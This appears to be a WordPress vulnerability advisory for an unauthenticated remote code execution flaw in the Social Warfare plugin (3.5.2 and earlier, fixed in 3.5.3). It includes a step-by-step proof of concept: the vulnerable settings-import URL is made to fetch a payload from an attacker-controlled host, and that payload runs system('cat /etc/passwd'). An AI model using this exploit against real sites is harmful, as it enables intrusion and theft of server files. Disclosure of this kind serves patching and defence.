WordPress Plugin Vulnerabilities
Social Warfare <= 3.5.2 - Unauthenticated Remote Code Execution (RCE)
Description
Unauthenticated remote code execution has been discovered in functionality that handles settings import.
Proof of Concept
1. Create payload file and host it on a location accessible by a targeted website. Payload content : "<pre>system('cat /etc/passwd')</pre>"
2. Visit http://WEBSITE/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://ATTACKER_HOST/payload.txt
3. Content of /etc/passwd will be returned
Affects Plugins
Fixed in 3.5.3 References
Classification
Type
RCE
OWASP top 10
CWE
Miscellaneous
Original Researcher
Luka Sikic
Submitter
Luka Sikic
Submitter website
Submitter twitter
Verified
No
WPVDB ID
Timeline
Publicly Published
2019-03-25 (about 5 years ago)
Added
2019-04-24 (about 5 years ago)
Last Updated
2021-06-08 (about 2 years ago)
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